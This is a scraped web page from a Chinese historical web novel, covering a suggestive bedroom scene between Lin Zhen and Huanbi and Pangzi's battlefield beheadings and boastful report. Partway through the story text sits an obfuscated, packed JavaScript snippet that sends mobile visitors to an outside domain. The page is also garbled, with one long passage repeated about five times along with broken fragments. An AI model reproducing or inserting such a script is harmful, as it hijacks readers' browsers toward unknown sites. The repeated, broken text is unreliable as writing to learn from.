男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 第280章 夫君醒了?可还有不适? 窗外的日光透过雕花窗棂洒下细碎光影屋内一时间静谧得只剩下彼此的呼吸声。 林臻只觉脑袋“嗡”的一声那些征战的疲惫、对局势的筹谋刹那间都被这突如其来的温热冲得七零八落。 他下意识地攥紧了拳头指节都因用力而泛白眼角余光瞥见浣碧那红透的耳根心中又是无奈又是好笑。 “碧儿你.”林臻刚开口声音便带着几分喑哑话语里的嗔怪之意也淡得几不可闻。 浣碧却似鼓足了勇气眼睫轻颤手下动作不停嘴里还嘟囔着:“夫君莫要多言且安心享受便是。” 她那平日里温婉的模样此刻添了几分娇憨的倔强叫林臻彻底没了拒绝的念头。 不多时屋内温度似又攀升了几分林臻只觉周身的血液都在往一处涌那些紧绷的神经仿若被泡进了温水渐渐松弛下来。 他抬手想要抓住什么指尖触碰到浣碧的发丝柔顺得如同春日里的柳丝轻轻缠绕。 浣碧偶尔抬眸 待一切归于平静林臻拥着浣碧只觉困意如潮水般汹涌袭来眼皮沉重得似有千斤。 浣碧轻轻靠在他胸膛听着那有力的心跳逐渐平缓嘴角噙着一抹浅笑伸手拉过锦被小心翼翼地盖在两人身上。 这一觉林臻睡得无比沉酣仿若要把多日来缺的觉一股脑儿补回来。 待他悠悠转醒窗外暮色已浓天边被晚霞染得通红恰似被战火焚烧过的苍穹。 林臻动了动身子才发现浣碧不知何时已起正坐在床边的矮凳上就着昏黄烛光一针一针刺绣着林臻没穿过几次的战袍。 她针法细腻每一针落下都带着十足的专注烛光在她侧脸上勾勒出温柔的弧线。 林臻慵懒地走过来握住浣碧的手触感温热。 浣碧受惊般抬起头眼中闪过惊喜:“夫君醒了?可还有不适?” 说着便要起身去倒茶水。 林臻却轻轻一拉将她重新揽入之中:“无妨有你在旁我惬意得很。” 正说着屋外传来急促脚步声紧接着是卫兵的禀报声:“大帅王将军求见。” 林臻微微皱眉知晓定是战事又有了新动向不舍地松开浣碧起身穿衣。 “让他进来吧。” 王铁男大步踏入屋内身上还带着战场的硝烟味儿脸色凝重:“大帅顾家残部虽有部分投降可 仍有顽固之徒负隅顽抗,我军在收编时遇到些麻烦,有几处还起了冲突,死伤了些弟兄,不过已经将他们悉数缴械,正在往城内押运。” 林臻眼神一冷,系衣带的手顿了顿:“哼,敬酒不吃吃罚酒。王叔,你辛苦些盯着他们,若有反抗,格杀勿论! 王铁男抱拳领命:“末将遵命!” 另一边,胖子嘴里叼着根草,领着骑兵与那群纨绔子弟,一路风驰电掣追赶北燕副将袁华。 “兄弟们,都在我打起精神!这次要是放走一个,咱回去都得吃不了兜着走!” “是!!” 那群纨绔平日里虽散漫,此刻也知晓事关重大,纷纷握紧兵器,装出一副英勇模样。 眼看就要抵达袁华部队的隐匿山谷,周遭的空气仿佛都紧绷起来,弥漫着大战将至的硝烟味。 山谷口的风呼啸而过,吹得衣袂猎猎作响。胖子正眯着眼打量前方地形,寻思着如何给袁华来个措手不及。 突然,队伍后方一阵骚乱。 胖子扭头望去,只见一个身着锦袍的纨绔子弟,脸色惨白如纸,双眼满是惊恐,双手死死拽着缰绳,缰绳都被勒出了深深的勒痕,胯下的马被勒得焦躁不安,不停地刨着蹄子。 那纨绔嘴里哆哆嗦嗦念叨着:“我我不想死!我不想死啊!”喊完竟不顾众人,猛地一拉缰绳,掉转马头就要往后狂奔。 胖子眼尖,一眼瞧见,怒目圆睁,大吼一声:“站住!” 那声音如洪钟,震得山谷都嗡嗡作响,惊飞了旁边林子里的一群飞鸟。 可那纨绔仿若被吓破了胆,根本听不见,只顾埋头逃窜,慌乱中差点撞翻身旁的同伴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982715|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胖子怒从心头起,恶向胆边生,驱马几步赶上,手中马鞭一挥,“啪”的一声,鞭梢如毒蛇般缠住那纨绔的脖颈,硬生生将他拽了回来。 噗通—— 纨绔摔倒在地上,不知断了几根肋骨。 “你这贪生怕死的孬种,敢违抗军令,当我王胖子的话是放屁吗?”胖子咬牙切齿,额头上青筋暴起,额前的汗珠顺着脸颊滚落,溅落在尘土之中。 那纨绔吓得涕泪横流,强忍着疼痛,跪地求饶:“胖爷,饶了我吧,我实在是怕啊,家中还有高堂……” 胖子呸了一口:“呸!少拿这些屁话来糊弄你爷!战场上当逃兵,该死!” 说罢,转头看向身后众人:“兄弟们,都给我睁大眼睛看好了,这就是违抗军令的下场!” 言罢,胖子手起刀落,寒光一闪,那纨绔的脑袋滚落尘埃,鲜血喷涌而出,溅了胖子一身。 众人吓得噤若寒蝉,那些原本也心存怯意的纨绔,此刻更是双腿发软,却再没人敢有逃跑的念头。 此时袁华的部队已经进入伏击地点,胖子把狗尾巴草嚼烂吞下去,大喊道。 “都给我上,谁他妈要是再敢后退半步,胖爷就弄死谁!” “杀!!” 身后的骑兵与纨绔们如梦初醒,纷纷呐喊着紧跟其后。 袁华根本没想到居然还有伏兵,只得仓促应战。 “御敌!御敌!!” 一时间,山谷里喊杀声再起,刀光剑影闪烁,鲜血瞬间染红了枯草。 山谷之中,战况惨烈至极。 北燕副将袁华的部队也并非等闲之辈,他们拼死抵抗,箭雨如蝗,刀光似电。 但胖子带着众人杀红了眼,骑兵们冲锋陷阵,如虎入羊群,所到之处,敌军血肉横飞。 那群纨绔子弟,在胖子的震慑与激励下,也收起了往日的怯懦,虽招式稚嫩,却也敢与敌军正面交锋。 混战之中,胖子目光如炬,一眼锁定了袁华的身影。 第281章 嫂夫人出落的愈发标致动人了 袁华身着黑色战甲,手持长枪,在人群中左冲右突,试图稳住阵脚。胖子心中冷哼一声,大喝:“袁华,今日便是你的死期!” 说罢,拍马直取袁华。 袁华见胖子来势汹汹,也不敢小觑,挺枪便刺。 二人你来我往,斗了数十回合,周围的士兵纷纷避让,留出一片空地。 胖子越斗越勇,手中大刀呼呼生风,反观袁华,渐渐露出疲态。 突然,胖子瞅准袁华一个破绽,猛地挥刀砍去,袁华躲避不及,被砍中肩头,鲜血迸溅。 他惨叫一声,手中长枪差点脱手。 胖子趁势而上,飞起一脚,将袁华踹翻在地,紧接着高高举起大刀。 在阳光下,那刀刃闪耀着寒芒。 “受死吧!”胖子怒吼一声,手起刀落。 噗—— 袁华的脑袋滚落在地,双眼圆睁,似是不敢相信自己的命运。 胖子抓起袁华的脑袋,高高举起,大声喊道:“袁华已死,降者不杀!” 第二天,代县。 城内已然沉浸在胜利的狂欢之中,士卒们奔走相告,欢呼与议论声交织回荡在街巷之间,那股喜悦劲儿似要将屋顶都掀翻。 胖子骑在高头大马上,那身血迹斑斑的战甲在透过云层缝隙洒下的日光映照下,显得格外夺目,手中还拎着袁华副将的脑袋,一路昂首挺胸,向着大帅府疾驰而去。 哒哒哒的马蹄声,在大帅府门前戛然而止。 胖子翻身下马,或许是胜仗的喜悦冲昏了头脑,他全然不顾军中规矩,径直朝着府内大步走去。 门口的守卫见是他,知晓他一贯的脾性,虽面露难色,却也只是轻声提醒,未敢强硬阻拦。 此时,林臻正在府中的院子晒太阳。 仗基本已经打完了,剩下的就是收编工作。 这些跟着顾云松造反的家伙会受到审判,但林臻并不打算给他们太严厉的惩罚。 在那种环境下,但凡不听话就会扣上逃兵的骂名,这不是士兵的错误。 浣碧在一旁,眼含秋波,莲步轻移,手中捧着一杯新沏的香茗,袅袅热气升腾而起,仿若一层薄纱,为她添了几分朦胧的美。 她款步走到林臻身前,柔声道:“夫君,快尝尝这茶,可解乏了呢。” 声音婉转,恰似黄莺出谷。 林臻嘴角噙着一抹浅笑,伸手接过茶盏,目光却在浣碧脸上流连,手指不经意间触碰到她的柔荑,那一瞬间,仿若有电流划过,酥 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风 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胖子对林臻的话全然不在意,瞧见一旁的浣碧,眼睛一亮,笑嘻嘻地走上前,微微弯腰行礼,言语间带着几分调侃:“哟,这不是嫂夫人嘛,许久不见,愈发标致动人了,看得胖爷我直眼馋!” 浣碧一听,脸颊瞬间泛起红晕,仿若春日里枝头熟透的苹果。 她微微低头,手指下意识地轻轻绕着衣角,嗔怪道:“胖爷又拿我打趣,小心我告诉世子,让他罚你。” 胖子一听,佯装害怕,往后退了一步,还夸张地拍了拍胸口:“嫂夫人可饶了我吧,我这刚打完仗,浑身是伤,要是再被大哥罚,可就只剩半条命了。” 说着,他撸起袖子,露出几道还渗着血的伤口,那伤口纵横交错,看着确实可怖。 林臻冷哼一声,目光如炬,直直地盯着胖子:“你还知道自己浑身是伤?战场上违抗军令,孤身深入敌军军营,你可知导致了多少将士死伤惨重?你有几条命能担得起这份罪责?” 胖子一听,脸上的嬉笑彻底消失,挺直腰板,神情严肃,低头沉声道:“是,这件事情是胖爷的错。当时我瞧着敌军后方空虚,想着若能直捣黄龙,必能一举扭转战局,却未曾周全考虑,冲动行事,唉,你罚我吧。” 胖子难得把脑袋低下去,林臻审视着他,语气稍缓:“哼,死罪可免活罪难逃!不过在这之前,我听说你遇到个顾家的猛将,差点折在他手里,跟我讲讲,怎么回事?” 要说吹牛逼,胖子顿时来了精神,端起桌上的茶杯,猛灌一口润润喉。 “大哥,你是不知道,那顾家猛将朱世坤,长得跟黑铁塔似的,也善使长刀,前天夜里嗷嗷叫着就朝我扑来。我跟他大战了几十回合,每一刀下去,都似砍在铁板上,震得我虎口发麻,那家伙力气贼大,我一刀砍过去,他拿刀柄一挡,差点把我刀都震飞了。” 说着说着,他还夸张地甩了甩手腕,模拟当时的场景,随即话锋一转。 “不过你胖爷是谁啊,能被他吓住?我灵机一动,卖了个破绽,他果然上当,高举斧子就劈。我瞅准时机,一个侧身翻滚,绕到他身后,‘咔嚓’一刀,就把他脑袋给剁了。那血啊,呲得跟喷泉似的,老寄吧壮观了。” 胖子手舞足蹈地比划着,脸上满是得意。 可瞥见林臻越发阴沉的脸色,又立马收敛了几分,看起来憨态可掬。 麻之感顺着指尖直抵心间。 他轻抿一口茶,茶香在舌尖散开,心中的畅快愈发浓郁。 刚要开口夸赞,就听闻外面的喧闹声。 林臻心中一动,便知是胖子回来了,他嘴角的笑意更深了些。放下手中茶盏,转头望去。 果不其然,胖子正风风火火地闯进来。 “大哥,胖爷回来了!哈哈哈哈!” 胖子扯着嗓子大喊,声音高亢嘹亮,震得院子里休憩的鸟儿都扑腾乱飞,惊惶四散。 林臻阴沉着脸看他,直把胖子看得心里发毛。 “进门之前都不知道通报,大吼大叫的成何体统!” 胖子被这看似责骂的言语弄得一怔,脚步顿住,挠挠头,脸上的得意劲儿瞬间收敛了几分,嘿嘿笑道:“嘿嘿嘿,大哥,我这不是心急嘛,有一肚子话想跟您说,一时就给忘了。” 说着,胖子把袁华的脑袋往地上一扔,拍拍手,似是想以此邀功,缓解气氛:“大哥,您瞧瞧,北燕副将袁华!被我亲手斩了,怎么样?牛逼不牛逼!?” 林臻瞥了一眼那脑袋,眼神中透着满意:“干得不错,但你也别以为立了这点功,就能将之前的过错一笔勾销。功过相抵在我这是不可能的!” 